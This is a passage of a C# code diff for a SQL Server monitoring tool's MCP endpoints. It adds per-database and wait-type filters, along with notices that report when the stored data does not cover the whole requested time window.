                reads cannot advertise three different field sets for one shape. */
             return SerializeTrend(resolved.ServerName, hours_back, startUtc, windowEnd, points, grain,
-                await dataService.GetBaselineDiscontinuitiesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd));
+                await dataService.GetBaselineDiscontinuitiesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd), database);
         }
         catch (Exception ex)
         {
@@ -849,7 +942,8 @@ public static async Task<string> GetProcedureDurationTrend(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
-        [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null)
+        [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -863,26 +957,29 @@ public static async Task<string> GetProcedureDurationTrend(
             var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
             if (bucketError != null) return bucketError;
 
+            /* #5244: database_name appended LAST (H1); blank is every database. See get_query_duration_trend. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
             var grain = Bucketed(bucketMinutes, bucket_minutes is not null, budget.AutoPoints);
             var startUtc = windowEnd.AddHours(-hours_back);
-            var points = await dataService.GetBucketedProcedureDurationTrendAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, bucketMinutes);
+            var points = await dataService.GetBucketedProcedureDurationTrendAsync(
+                resolved.ServerId, hours_back, asOfUtc: windowEnd, bucketMinutes, database == null ? null : new[] { database });
             if (points.Count == 0)
             {
-                var gated = await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "procedure_stats");
+                var gated = McpHelpers.WithDatabase(await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "procedure_stats"), database);
                 if (gated != null)
                 {
                     return gated;
                 }
 
                 return await EmptyTrendAsync(
-                    dataService.HasAnyProcedureStatAsync(resolved.ServerId), resolved.ServerName, hours_back,
+                    dataService.HasAnyProcedureStatAsync(resolved.ServerId), resolved.ServerName, database, hours_back,
                     startUtc, windowEnd, grain,
                     "stored-procedure",
                     "Check that collection is running and that the server is enabled. A server that genuinely runs no stored procedures also lands here, and that is a real answer rather than a fault.");
             }
 
             return SerializeTrend(resolved.ServerName, hours_back, startUtc, windowEnd, points, grain,
-                await dataService.GetBaselineDiscontinuitiesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd));
+                await dataService.GetBaselineDiscontinuitiesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd), database);
         }
         catch (Exception ex)
         {
@@ -896,7 +993,8 @@ public static async Task<string> GetQueryStoreDurationTrend(
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -906,8 +1004,12 @@ public static async Task<string> GetQueryStoreDurationTrend(
             var hoursError = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
             if (hoursError != null) return hoursError;
 
+            /* #5244: database_name appended LAST (H1); blank is every database. The reader already took a database list
+               (the Query Store tab's filter), on both of its arms. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
             var startUtc = windowEnd.AddHours(-hours_back);
-            var points = await dataService.GetQueryStoreDurationTrendAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd);
+            var points = await dataService.GetQueryStoreDurationTrendAsync(
+                resolved.ServerId, hours_back, databaseNames: database == null ? null : new[] { database }, asOfUtc: windowEnd);
             if (points.Count == 0)
             {
                 /*
@@ -915,21 +1017,21 @@ public static async Task<string> GetQueryStoreDurationTrend(
                     every database on the instance. A server with no Query Store data is not a server with
                     no slow queries, so the message names that cause first.
                 */
-                var gated = await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "query_store");
+                var gated = McpHelpers.WithDatabase(await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "query_store"), database);
                 if (gated != null)
                 {
                     return gated;
                 }
 
                 return await EmptyTrendAsync(
-                    dataService.HasAnyQueryStoreStatAsync(resolved.ServerId), resolved.ServerName, hours_back,
+                    dataService.HasAnyQueryStoreStatAsync(resolved.ServerId), resolved.ServerName, database, hours_back,
                     startUtc, windowEnd, PerInterval,
                     "Query Store",
                     "Query Store may be OFF on this server's databases — that, not an absence of slow queries, is the usual cause. Check QUERY_STORE = ON per database, then that collection is running for this server.");
             }
 
             return SerializeTrend(resolved.ServerName, hours_back, startUtc, windowEnd, points, PerInterval,
-                await dataService.GetBaselineDiscontinuitiesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd));
+                await dataService.GetBaselineDiscontinuitiesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd), database);
         }
         catch (Exception ex)
         {
@@ -969,11 +1071,142 @@ private static TrendGrain Bucketed(int bucketMinutes, bool requested, int autoPo
     /// data starting LATER than the window asked for, by more than <see cref="TruncationSlack"/> — the window
     /// floor, not a page cut; no <c>top</c>/<c>limit</c> changes it. Shared so <c>get_top_queries_by_cpu</c>,
     /// <c>get_top_procedures_by_cpu</c>, <c>get_query_store_top</c> and the Queries-tab grids that read the
-    /// same three tables all compute the same verdict from the same probe instead of drifting apart.
+    /// same three tables all compute the same verdict from the same probe instead of drifting apart. A null floor
+    /// is never truncated: the probe answers null only when the window holds nothing to report (no row, and for
+    /// the Active Queries and Current Waits relations, which the probe reads by coverage, no logged run of the
+    /// collector either), and an empty panel already says so. The slack belongs to this probe verdict alone (#4966): a
+    /// grid that filled its row cap dropped rows for certain, so its banner is not judged here (it shows whenever the
+    /// oldest row it shows is later than the window's start).
     /// </summary>
     internal static bool IsWindowTruncated(DateTime? floor, DateTime requestedStart) =>
         floor is DateTime f && f > requestedStart + TruncationSlack;
 
+    /// <summary>
+    /// #4966: whether a window can ever get a coverage note from the probe at all. The probe's answer is null, the
+    /// window's start, or a row or run INSIDE the window (<see cref="LocalDataService.GetQueryWindowFloorAsync"/> bounds
+    /// its first read on both sides), so a window no longer than <see cref="TruncationSlack"/> never has a floor later
+    /// than the start by more than the slack: <see cref="IsWindowTruncated"/> answers false for every floor it can
+    /// give. The banner step and the Query Heatmap's column start skip the probe for such a window, which is every
+    /// range of 90 minutes or less and a narrow slicer drag.
+    /// </summary>
+    internal static bool CanWindowBeTruncated(DateTime startUtc, DateTime endUtc) =>
+        endUtc - startUtc > TruncationSlack;
+
+    /// <summary>
+    /// The instant the served window really starts: the probe's floor, but never earlier than the start that was
+    /// asked for. The probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) answers the requested start
+    /// itself when the server also holds a row before the window (the window's start is covered), and the
+    /// server's first row inside the window when its data starts late, so only a floor AFTER the requested start
+    /// moves the served window. The clamp stays so that a floor at or before the start can never read as the window
+    /// having begun earlier. A null floor leaves the requested start in place, as it always did. Null means the
+    /// window holds nothing: no row, and for the Active Queries and Current Waits relations no logged run of the
+    /// collector either (a window the collector ran in, with nothing to record, answers the start, not null).
+    /// </summary>
+    internal static DateTime EffectiveWindowStart(DateTime? floor, DateTime requestedStart) =>
+        floor is DateTime f && f > requestedStart ? f : requestedStart;
+
+    /// <summary>
+    /// #4966: the window floor of a tool whose payload also carries a PAGE cut (<c>truncated</c>), in the three keys
+    /// that tool writes after <c>hours_back</c>: <c>effective_start</c>, <c>window_truncated</c> and
+    /// <c>truncation_note</c>, with the Queries tools' verdict (<see cref="IsWindowTruncated"/>), clamp
+    /// (<see cref="EffectiveWindowStart"/>) and wording, and the table the tool read named in the note. Always
+    /// present on the payload: a covered window says <c>window_truncated: false</c> and a null note, as the
+    /// Queries tools do. <c>effective_hours_back</c> is NOT written here: Darling's
+    /// <c>McpPayloadContractCensusTests</c> holds that key apart for the window floor and fails it beside a bare
+    /// <c>truncated</c>, and every tool this serves carries one (a limit, a cell cap), so a caller reads the reach
+    /// off <c>effective_start</c> instead. <paramref name="requestedStart"/> is the start of the EARLIEST window the
+    /// tool compares (a tool that sets two windows against each other passes the older one's start), and
+    /// <paramref name="floor"/> the probe's answer for that start (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>).
+    /// <paramref name="tail"/> is one more sentence for a tool whose reading of the window needs it.
+    /// <para><paramref name="emptyAnswer"/> (#5015): the answer this notice rides on holds no rows. A null floor then
+    /// means the store holds no collection for this server in the window at all, and an empty answer over a window
+    /// nothing was read from is not a true negative, so the notice says NOT covered: <c>window_truncated</c> true,
+    /// no <c>effective_start</c> (there is no start to name) and a note that the store holds no collection in the
+    /// window. On an answer WITH rows a null floor keeps its old meaning (covered, at the start that was asked for).</para>
+    /// </summary>
+    internal static McpWindowNotice WindowNotice(
+        DateTime? floor, DateTime requestedStart, string table, string? tail = null, bool emptyAnswer = false, bool listOnly = false)
+    {
+        if (floor is null && listOnly)
+        {
+            /* The windowed list is empty but the answer carries other data (a latest-snapshot block), so it is not an empty answer. */
+            return new McpWindowNotice(
+                null,
+                true,
+                $"The store holds no collection of {table} for this server in this window, so no windowed rows were read, and a list with no rows is not a report that nothing happened. "
+                    + "The window may reach further back than the store retains, this server may have been monitored for less time than that, or collection may have stopped; get_collection_health shows which.");
+        }
+
+        if (floor is null && emptyAnswer)
+        {
+            return new McpWindowNotice(
+                null,
+                true,
+                $"The store holds no collection of {table} for this server in this window, so nothing was read, and this empty answer is not a report that nothing happened. "
+                    + "The window may reach further back than the store retains, this server may have been monitored for less time than that, or collection may have stopped; get_collection_health shows which.");
+        }
+
+        var truncated = IsWindowTruncated(floor, requestedStart);
+        return new McpWindowNotice(
+            McpHelpers.FormatEffectiveStart(EffectiveWindowStart(floor, requestedStart)),
+            truncated,
+            truncated
+                ? $"The window reaches further back than this server's raw {table} retains (or this server has been monitored for less time than that), so the older part of it was not read."
+                    + (tail is null ? "" : " " + tail)
+                : null);
+    }
+
+    /// <summary>
+    /// #4966: <see cref="WindowNotice"/> with its coverage probe, which a window no longer than <see cref="TruncationSlack"/>
+    /// never needs (<see cref="CanWindowBeTruncated"/>: the probe cannot find a floor later than the start by more than
+    /// the slack, so the answer is covered whatever it would read). The four tools that carry the three window-floor
+    /// keys all go through here, so a read of an hour or less makes no probe call, as the Lite tabs' banner step does.
+    /// The probe is passed as a delegate and is not started for a short window. A short window's
+    /// <c>effective_start</c> is the start that was asked for, because no floor was read.
+    /// <para>#5015: an EMPTY answer (<paramref name="emptyAnswer"/>) is always probed, whatever the window's length. The skip
+    /// answers "covered" without reading anything, which is right beside rows (the page itself shows the data) but is a
+    /// claim an empty answer cannot make: nothing was read, so nothing says the store held the window at all. A probe
+    /// that finds no row and no run in the window then reads as NOT covered (<see cref="WindowNotice"/>).</para>
+    /// </summary>
+    internal static async Task<McpWindowNotice> WindowNoticeAsync(
+        Func<Task<DateTime?>> probe, DateTime requestedStart, DateTime windowEnd, string table, string? tail = null, bool emptyAnswer = false, bool listOnly = false) =>
+        WindowNotice(
+            emptyAnswer || listOnly || CanWindowBeTruncated(requestedStart, windowEnd) ? await probe() : null,
+            requestedStart, table, tail, emptyAnswer, listOnly);
+
+    /// <summary>
+    /// #4966: <see cref="WindowNoticeAsync"/> for an EVENT list (deadlocks, blocked process reports, long query
+    /// completions), where a first run of the collector can store events from before itself: the coverage probe
+    /// reads the collector's runs and the rows' own time column, but where that column is collection_time
+    /// (long query completions) a page can still show an event older than the probe's floor (the deadlock and
+    /// blocked-process probes already read the event column), and a notice that names a start later than a row it shows is wrong on its face. On a data
+    /// answer the floor is the EARLIER of the probe's and <paramref name="oldestEventShown"/> (the oldest event
+    /// time on the page; null when the page holds none, as on an empty answer). The comparison runs inside the
+    /// probe delegate, so a window the probe is skipped for (90 minutes or less, with rows) stays covered at the
+    /// start that was asked for, as every other window-floor tool does.
+    /// </summary>
+    internal static Task<McpWindowNotice> EventWindowNoticeAsync(
+        Func<Task<DateTime?>> probe, DateTime? oldestEventShown, DateTime requestedStart, DateTime windowEnd, string table, bool emptyAnswer = false) =>
+        WindowNoticeAsync(
+            async () => LocalDataService.EarlierCoverageFloor(await probe(), oldestEventShown),
+            requestedStart, windowEnd, table, emptyAnswer: emptyAnswer);
+
+    /// <summary>
+    /// The three window-floor keys <see cref="WindowNotice"/> answers, as the values a tool writes into its payload.
+    /// <see cref="EffectiveStart"/> is null only for an empty answer over a window the store holds nothing in
+    /// (#5015): there is no start to name.
+    /// </summary>
+    internal readonly record struct McpWindowNotice(string? EffectiveStart, bool WindowTruncated, string? TruncationNote)
+    {
+        /// <summary>
+        /// #4966: the same three keys, with the same values and wording, for an <c>empty</c> status, which carries them under
+        /// <c>hints</c> (the shape <c>get_query_store_top</c>'s module miss uses): an empty answer over a window the store does
+        /// not reach back to is not a true negative, and without them it read as one. A status that says the collector never ran
+        /// (<c>not_collected</c>) does not carry them.
+        /// </summary>
+        internal object AsHints() => new { effective_start = EffectiveStart, window_truncated = WindowTruncated, truncation_note = TruncationNote };
+    }
+
     /// <summary>
     /// The disclosure block every Performance-Trends payload carries (#3541 A2), written in the same key order
     /// on both SKUs and on both branches. Lite has ONE tier — DuckDB keeps raw rows for the collector's whole
@@ -1020,12 +1253,14 @@ writes it. Darling.Tests' McpPayloadContractCensusTests sweeps this file too and
     /// </summary>
     private static string SerializeTrend(
         string serverName, int hours_back, DateTime startUtc, DateTime windowEndUtc, List<QueryTrendPoint> points, TrendGrain grain,
-        IReadOnlyList<BaselineDiscontinuity> discontinuities)
+        IReadOnlyList<BaselineDiscontinuity> discontinuities, string? database)
     {
         var envelope = new Dictionary<string, object?>
         {
             ["server"] = serverName,
             ["hours_back"] = hours_back,
+            /* #5244: which database the series is limited to: the name for one, null for all (the twin of Darling's database_name echo). */
+            ["database_name"] = database,
         };
         /* effective_start is the first COLLECTION the store held — on a bucketed point its first collection, not the
            bucket's start (#3897). */
@@ -1066,17 +1301,29 @@ private static string SerializeTrend(
     /// an empty Performance-Trends answer carries the same six keys the data envelope does (#3541 A2) — a
     /// caller reads <c>source</c> without first checking whether it got data.
     /// </summary>
-    private static string EmptyStatus(string status, string message, DateTime startUtc, DateTime windowEndUtc, TrendGrain grain)
+    private static string EmptyStatus(string status, string message, DateTime startUtc, DateTime windowEndUtc, TrendGrain grain, string? database)
     {
         var envelope = new Dictionary<string, object?>
         {
             ["status"] = status,
             ["message"] = message,
+            /* #5244 review L2: the echo the data envelope writes (the name for one database, null for all), so an empty
+               answer says which database it was limited to; Darling's twin writes Describe() here. */
+            ["database_name"] = McpDatabaseSelection.Describe(database == null ? null : new[] { database }),
         };
         WriteDisclosure(envelope, null, startUtc, windowEndUtc, grain);
         return JsonSerializer.Serialize(envelope, McpHelpers.JsonOptions);
     }
 
+    /// <summary>
+    /// The server's name with the database an answer covered (#5244), Darling's <c>DarlingMcpTrendTools.ScopedServer</c>
+    /// for one database: with a filter the read looked at that database only, so "nothing recorded for the server" would
+    /// be a verdict about a database it never read. No filter leaves the name as it was. The never-sampled answer stays
+    /// on the bare name, because its probe is server-wide and its verdict is too.
+    /// </summary>
+    private static string ScopedServer(string serverName, string? database) =>
+        serverName + McpBlockingTools.ForChosenDatabase(database);
+
     /// <summary>
     /// The two-branch empty answer the two new Performance-Trends siblings share (#2484), word for word with
     /// Darling's <c>DarlingMcpTrendTools.QuietWindowMessage</c> / <c>NeverSampledMessage</c> and phrased like
@@ -1087,19 +1334,19 @@ private static string EmptyStatus(string status, string message, DateTime startU
     /// unmaterialized state, which only a tiered store can be in).
     /// </summary>
     private static async Task<string> EmptyTrendAsync(
-        Task<bool> probe, string serverName, int hours_back, DateTime startUtc, DateTime windowEndUtc, TrendGrain grain,
+        Task<bool> probe, string serverName, string? database, int hours_back, DateTime startUtc, DateTime windowEndUtc, TrendGrain grain,
         string what, string checkThis)
     {
         var everSampled = await probe;
         return everSampled
             ? EmptyStatus(
                 "empty",
-                $"No {what} samples were recorded for {serverName} in the last {hours_back} hour(s). This server HAS been sampled before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent samples.",
-                startUtc, windowEndUtc, grain)
+                $"No {what} samples were recorded for {ScopedServer(serverName, database)} in the last {hours_back} hour(s). This server HAS been sampled before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent samples.",
+                startUtc, windowEndUtc, grain, database)
             : EmptyStatus(
                 "unavailable",
                 $"No {what} samples have EVER been recorded for {serverName}. This is not an empty window — nothing at all has been stored for this server, so it is NOT a quiet server. {checkThis}",
-                startUtc, windowEndUtc, grain);
+                startUtc, windowEndUtc, grain, database);
     }
 
     [McpServerTool(Name = "get_query_trend"), Description("Gets a time-series of performance metrics for a specific query identified by its query_hash. Use this after identifying a problematic query from get_top_queries_by_cpu or get_query_store_top to see how it has changed over time." + McpHelpers.WindowTruncatedDescription + BaselineDiscontinuities.DescriptionSentence)]
diff --git a/Lite/Mcp/McpServerInfoTools.cs b/Lite/Mcp/McpServerInfoTools.cs
index d0ac45c2f1..c4281cb2bc 100644
--- a/Lite/Mcp/McpServerInfoTools.cs
+++ b/Lite/Mcp/McpServerInfoTools.cs
@@ -88,19 +88,37 @@ the keys Darling's tool emits. */
     public static async Task<string> GetDatabaseSizes(
         LocalDataService dataService,
         ServerManager serverManager,
-        [Description("Server name or display name.")] string? server_name = null)
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
 
         try
         {
-            var rows = await dataService.GetLatestDatabaseSizeStatsAsync(resolved.ServerId);
+            /* #5244: database_name appended LAST (H1). A blank is "no filter"; any other value is kept exactly (no trim) and matches
+               exactly, as on Darling. The filter is on the newest snapshot's ROWS, so captured_at is the server's whatever the filter. */
+            var names = string.IsNullOrWhiteSpace(database_name) ? null : new[] { database_name };
+            var rows = await dataService.GetLatestDatabaseSizeStatsAsync(resolved.ServerId, names);
             if (rows.Count == 0)
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "database_size_stats")
-                    ?? McpHelpers.Status("unavailable", "No database size data available. The size collector may not have run yet.");
-
-            return DatabaseSizesPayload(resolved.ServerName, rows);
+            {
+                /* A filter that matches no database in a snapshot that exists is an answer about the chosen database, not about
+                   collection: the probe is the same newest-snapshot read, unfiltered (Darling's twin words it the same). */
+                if (names != null && await dataService.GetLatestDatabaseSizeStatsAsync(resolved.ServerId) is { Count: > 0 } snapshot)
+                    return McpHelpers.StatusForDatabase("empty",
+                        $"No database size rows for {McpDatabaseSelection.Scope(names)} on {resolved.ServerName} in the snapshot captured at "
+                        + $"{snapshot[0].CollectionTime:o}. Check the database name against the server's unfiltered get_database_sizes: the filter "
+                        + "matches exactly, and an excluded or renamed database looks identical to one with no files.",
+                        McpDatabaseSelection.Describe(names));
+
+                /* #5244: every answer shape says which database it was limited to (null for every database). */
+                return McpHelpers.WithDatabase(
+                           await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "database_size_stats"),
+                           McpDatabaseSelection.Describe(names))
+                    ?? McpHelpers.StatusForDatabase("unavailable", "No database size data available. The size collector may not have run yet.", McpDatabaseSelection.Describe(names));
+            }
+
+            return DatabaseSizesPayload(resolved.ServerName, rows, McpDatabaseSelection.Describe(names));
         }
         catch (Exception ex)
         {
@@ -116,8 +134,9 @@ public static async Task<string> GetDatabaseSizes(
     /// gets holds its data size only, and the server reports no log size for it: that row, and its database's
     /// entry, carry <see cref="AzureSiblingDatabaseSize.LogNote"/> under <see cref="AzureSiblingDatabaseSize.RowNoteKey"/>,
     /// and the top-level note says it too. No other row has the key. Darling's twin gives the same words and shape.
+    /// <paramref name="databaseEcho"/> (#5244) is the <c>database_name</c> echo (the name, or null for every database); the key is always written.
     /// </summary>
-    internal static string DatabaseSizesPayload(string serverName, IReadOnlyList<DatabaseSizeStatsRow> rows)
+    internal static string DatabaseSizesPayload(string serverName, IReadOnlyList<DatabaseSizeStatsRow> rows, string? databaseEcho = null)
     {
         var databases = rows
             .GroupBy(r => r.DatabaseName)
@@ -150,6 +169,7 @@ internal static string DatabaseSizesPayload(string serverName, IReadOnlyList<Dat
             return JsonSerializer.Serialize(new
             {
                 server = serverName,
+                database_name = databaseEcho,
                 /* #3653: captured_at - see GetServerProperties above for why it is a cut-over, not an alias. */
                 captured_at = rows[0].CollectionTime.ToString("o"),
                 file_count = rows.Count,
@@ -161,6 +181,7 @@ internal static string DatabaseSizesPayload(string serverName, IReadOnlyList<Dat
         return JsonSerializer.Serialize(new
         {
             server = serverName,
+            database_name = databaseEcho,
             /* #3653: captured_at - see GetServerProperties above for why it is a cut-over, not an alias. */
             captured_at = rows[0].CollectionTime.ToString("o"),
             file_count = rows.Count,
diff --git a/Lite/Mcp/McpSessionTools.cs b/Lite/Mcp/McpSessionTools.cs
index 5e6de9ad81..7c440a900e 100644
--- a/Lite/Mcp/McpSessionTools.cs
+++ b/Lite/Mcp/McpSessionTools.cs
@@ -11,12 +11,12 @@ public sealed class McpSessionTools
 {
     /// <summary>#4198: see Darling's <c>DarlingMcpSessionTools.QueryTextPreviewLength</c> twin for the
     /// measured bytes both defaults come down from.</summary>
-    private const int QueryTextPreviewLength = 500;
+    private const int QueryTextPreviewLength = 400;
 
     /// <inheritdoc cref="QueryTextPreviewLength"/>
     private const int DefaultLimit = 25;
 
-    [McpServerTool(Name = "get_active_queries"), Description("Active query snapshots (sys.dm_exec_requests) in a window ending at as_of: query text, wait, CPU/elapsed ms, blocking, DOP, memory grant GB. database_name/blocking_only filter IN SQL: total_snapshots is the filtered count; truncated means over limit. wait_time_ms, dop, granted_query_memory_gb, open_transaction_count: null = zero or not applicable. Head blockers are never stripped (is_head_blocker); a victim's blocker_not_shown is not_captured, filtered, or past_page. Empty: no snapshot in the window, or none matching filters; not_collected (unfiltered only): engine can't run it. <<GUIDE>> query_text is a preview by default (query_text_truncated: true) — pass full_text for the whole text. Gets active query snapshots captured from sys.dm_exec_requests. Shows what queries were running at each collection point: session ID, query text, wait type, CPU time, elapsed time, blocking info, DOP, and memory grants. Use hours_back to look at a specific time window — critical for finding what was running during a CPU spike or blocking event. EVERY FILTER IS PART OF THE QUERY: database_name and blocking_only are applied in SQL before the page is cut, total_snapshots is the count of snapshot rows in the window that pass your filters, snapshots_returned is how many you got, and truncated says the filtered population held more than limit — raise limit or narrow hours_back when it is true (NEWEST CAPTURE FIRST, highest CPU first within a capture; oldest_returned_collection_time / newest_returned_collection_time bound the page). Applied in SQL, so total_snapshots counts the blocking population and truncated is measured against it. HEAD BLOCKERS ARE NEVER STRIPPED: a session another row in the same capture names as its blocker is on the page whatever its text (including a WAITFOR shell holding locks), flagged is_head_blocker. A victim whose blocker is NOT on the page says why in blocker_not_shown: not_captured (the blocker held no running request at that capture — an idle open transaction is the classic case; get_blocked_process_reports has its input buffer from the blocked-process report), filtered (your database_name filter excluded it), or past_page (it is in the filtered population but beyond limit).")]
+    [McpServerTool(Name = "get_active_queries"), Description("Active query snapshots (sys.dm_exec_requests) in a window ending at as_of: query text, wait, CPU/elapsed ms, blocking, DOP, memory grant GB. database_name/blocking_only filter IN SQL: total_snapshots is the filtered count; truncated means over limit. wait_time_ms, dop, granted_query_memory_gb, open_transaction_count: null = zero or not applicable. Head blockers are never stripped (is_head_blocker); a victim's blocker_not_shown is not_captured, filtered, or past_page. Empty: no snapshot in the window, or none matching filters; not_collected (unfiltered only): engine can't run it. <<GUIDE>> query_text is a preview by default (query_text_truncated: true) — pass full_text for the whole text. Gets active query snapshots captured from sys.dm_exec_requests. Shows what queries were running at each collection point: session ID, query text, wait type, CPU time, elapsed time, blocking info, DOP, and memory grants. Use hours_back to look at a specific time window — critical for finding what was running during a CPU spike or blocking event. EVERY FILTER IS PART OF THE QUERY: database_name, blocking_only and wait_type are applied in SQL before the page is cut, total_snapshots is the count of snapshot rows in the window that pass your filters, snapshots_returned is how many you got, and truncated says the filtered population held more than limit — raise limit or narrow hours_back when it is true (NEWEST CAPTURE FIRST, highest CPU first within a capture; oldest_returned_collection_time / newest_returned_collection_time bound the page). Applied in SQL, so total_snapshots counts the blocking population and truncated is measured against it. HEAD BLOCKERS ARE NEVER STRIPPED: a session another row in the same capture names as its blocker is on the page whatever its text (including a WAITFOR shell holding locks), flagged is_head_blocker. A victim whose blocker is NOT on the page says why in blocker_not_shown: not_captured (the blocker held no running request at that capture — an idle open transaction is the classic case; get_blocked_process_reports has its input buffer from the blocked-process report), filtered (your database_name or wait_type filter excluded it), or past_page (it is in the filtered population but beyond limit). When the store did not cover the whole window, effective_start, window_truncated and truncation_note say where its data starts.")]
     public static async Task<string> GetActiveQueries(
         LocalDataService dataService,
         ServerManager serverManager,
@@ -24,8 +24,9 @@ public static async Task<string> GetActiveQueries(
         [Description("Hours of data to retrieve. Default 1.")] int hours_back = 1,
         [Description("Filter to a specific database. Applied in SQL; a head blocker in ANOTHER database is then not on the page, and its victims say blocker_not_shown = filtered.")] string? database_name = null,
         [Description("Show only queries involved in blocking: rows with blocking_session_id > 0, plus the head blockers those rows name in the same capture.")] bool blocking_only = false,
+        [Description("Only rows waiting on this wait type at capture, e.g. PAGEIOLATCH_SH: exact name, any case. Applied in SQL. A head blocker on another wait is then off the page (blocker_not_shown = filtered).")] string? wait_type = null,
         [Description("Maximum number of rows to return. Default 25 (#4198, down from 50 — sized to fit the response budget). The page is bounded by limit, not hours_back — truncated says whether the window held more.")] int limit = DefaultLimit,
-        [Description("Return each row's full query text instead of a 500-character preview. Default false.")] bool full_text = false,
+        [Description("Return each row's full query text instead of a 400-character preview. Default false.")] bool full_text = false,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
@@ -39,27 +40,42 @@ public static async Task<string> GetActiveQueries(
         try
         {
             var filter = string.IsNullOrWhiteSpace(database_name) ? null : database_name.Trim();
+            /* #5235: the wait filter is trimmed the same way, so a blank is none and the echo below names the value that was applied. */
+            var waitFilter = string.IsNullOrWhiteSpace(wait_type) ? null : wait_type.Trim();
 
             /* #3541 A13: the filters ride INTO the read (GetActiveQueriesPageAsync), asked for one row past
                the cap so truncation is OBSERVED on the filtered population; total_snapshots is that read's
                COUNT(*) OVER () of the same population. Darling's twin is DarlingSessionReader.ActiveQueriesSql. */
             var (rows, populationCount) = await dataService.GetActiveQueriesPageAsync(
-                resolved.ServerId, hours_back, limit + 1, filter, blocking_only, asOfUtc: windowEnd);
+                resolved.ServerId, hours_back, limit + 1, filter, blocking_only, waitFilter, asOfUtc: windowEnd);
+
+            /* #4966: where this server's query_snapshots start for the window, beside the page cut below — the two
+               are different facts: truncated says the window held more than limit, this says the store did not hold
+               the window's head. The probe reads coverage (the collector's logged runs count as well as rows: a
+               server idle overnight has no snapshot near the start though the store covered it), from the same
+               view the page was read from, and is deliberately unfiltered by database_name / blocking_only: the
+               floor is a property of the table. Read ahead of the empty answers, which carry it too: an empty
+               answer over a window the store does not reach back to is not a true negative. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.QuerySnapshots, resolved.ServerId, requestedStart, windowEnd),
+                requestedStart, windowEnd, "query_snapshots", emptyAnswer: rows.Count == 0);
 
             if (rows.Count == 0)
             {
                 /* A filtered miss is not a collection miss — Darling's twin's words. */
-                if (filter != null || blocking_only)
+                if (filter != null || blocking_only || waitFilter != null)
                 {
                     return McpHelpers.Status(
                         "empty",
                         $"No active query snapshots on {resolved.ServerName} in the last {hours_back} hour(s) matched "
-                        + DescribeActiveQueryFilters(filter, blocking_only)
-                        + ". The filters were applied in SQL over the whole window, so unfiltered snapshots may well exist — drop them to see what the window holds.");
+                        + DescribeActiveQueryFilters(filter, blocking_only, waitFilter)
+                        + ". The filters were applied in SQL over the whole window, so unfiltered snapshots may well exist — drop them to see what the window holds.",
+                        notice.AsHints());
                 }
 
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "query_snapshots")
-                    ?? McpHelpers.Status("empty", "No active query snapshots found in the requested time range.");
+                    ?? McpHelpers.Status("empty", "No active query snapshots found in the requested time range.", notice.AsHints());
             }
 
             var truncated = rows.Count > limit;
@@ -94,7 +110,7 @@ public static async Task<string> GetActiveQueries(
                 login_name = r.LoginName,
                 host_name = r.HostName,
                 program_name = r.ProgramName,
-                query_text = full_text ? r.QueryText : McpHelpers.Truncate(r.QueryText, QueryTextPreviewLength),
+                query_text = full_text ? r.QueryText : McpHelpers.TruncateStatement(r.QueryText, QueryTextPreviewLength),
                 query_text_truncated = !full_text && (r.QueryText?.Length ?? 0) > QueryTextPreviewLength
             }).ToList();
 
@@ -102,18 +118,27 @@ public static async Task<string> GetActiveQueries(
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, always present (false and null when the store covered the window). No
+                   effective_hours_back: this payload carries a page `truncated`, and the census holds that key
+                   apart for the window floor (McpPayloadContractCensusTests), so the reach is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 filters_applied = new
                 {
                     database_name = filter,
                     blocking_only,
+                    wait_type = waitFilter,
                 },
